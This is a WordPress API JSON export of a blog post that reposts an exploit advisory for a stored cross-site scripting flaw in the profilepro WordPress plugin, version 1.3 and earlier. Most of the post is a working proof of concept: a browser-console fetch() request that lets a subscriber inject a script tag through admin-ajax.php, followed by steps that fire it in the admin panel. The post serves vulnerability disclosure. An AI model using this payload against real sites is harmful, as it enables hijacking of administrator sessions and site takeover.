{"id":58843,"date":"2024-08-13T18:50:00","date_gmt":"2024-08-13T15:50:00","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/180083\/wpprofilepro13-xss.txt"},"modified":"2024-08-13T18:50:00","modified_gmt":"2024-08-13T15:50:00","slug":"wordpress-profilepro-1-3-cross-site-scripting","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/wordpress-profilepro-1-3-cross-site-scripting\/","title":{"rendered":"WordPress Profilepro 1.3 Cross Site Scripting"},"content":{"rendered":"<p># Exploit Title: profilepro &lt;= 1.3 &#8211; Subscriber+ Stored Cross Site Scripting<br \/># Date: 15-04-2024<br \/># Exploit Author: Vuln Seeker Cybersecurity Team<br \/># Vendor Homepage: https:\/\/wordpress.org\/plugins\/profilepro\/<br \/># Version: &lt;= 1.3<br \/># Tested on: Firefox<br \/># Contact me: vulns@vulnseeker.org<\/p>\n<p>Description<\/p>\n<p>The plugin does not sanitise and escape some parameters and lacks proper<br \/>access controls, which could allow users with a role as low as subscriber<br \/>to perform Cross-Site Scripting attacks<\/p>\n<p>Proof of Concept<\/p>\n<p>Run the following code from the browser console from the subscriber user<\/p>\n<p>&#8220;`<br \/>fetch(&#8220;..\/wp-admin\/admin-ajax.php&#8221;, {<br \/>method: &#8220;POST&#8221;,<br \/>headers: {<br \/>&#8220;Accept&#8221;: &#8220;*\/*&#8221;,<br \/>&#8220;Content-Type&#8221;: &#8220;application\/x-www-form-urlencoded; charset=UTF-8&#8221;,<br \/>&#8220;X-Requested-With&#8221;: &#8220;XMLHttpRequest&#8221;<br \/>},<br \/>body:<br \/>&#8220;title=%22%3E%3Cscript%3Ealert(1339)%3C%2Fscript%3E&amp;label=&amp;meta_key=&amp;placeholder=&amp;help_text=&amp;privacy=1&amp;max_length=&amp;is_required=1&amp;user_edit=1&amp;icon=&amp;type=textarea&amp;action=profilepro_admin_add_custom_field&amp;arg2=89&#8221;,<br \/>credentials: &#8220;include&#8221;<br \/>})<br \/>.then(response =&gt; {<br \/>if (!response.ok) {<br \/>throw new Error(&#8216;Network response was not ok&#8217;);<br \/>}<br \/>return response.text();<br \/>})<br \/>.then(data =&gt; console.log(data))<br \/>.catch(error =&gt; console.error(&#8216;Error:&#8217;, error));<br \/>&#8220;`<\/p>\n<p>&#8211; As an admin, go to<br \/>http:\/\/example.com\/wp-admin\/edit.php?post_type=profilepro_form<br \/>&#8211; Choose the default profile, click on edit and click on add field, XSS<br \/>will pop up.<\/p>\n<p>Reference:<br \/>https:\/\/wpscan.com\/vulnerability\/8faf1409-44e6-4ebf-9a68-b5f93a5295e9\/<\/p>\n","protected":false},"excerpt":{"rendered":"<p># Exploit Title: profilepro &lt;= 1.3 &#8211; Subscriber+ Stored Cross Site Scripting# Date: 15-04-2024# Exploit Author: Vuln Seeker Cybersecurity Team# Vendor Homepage: https:\/\/wordpress.org\/plugins\/profilepro\/# Version: &lt;= 1.3# Tested on: Firefox# Contact me: vulns@vulnseeker.org Description The plugin does not sanitise and escape some parameters and lacks properaccess controls, which could allow users with a role as low &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-58843","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/58843","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=58843"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/58843\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=58843"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=58843"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=58843"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}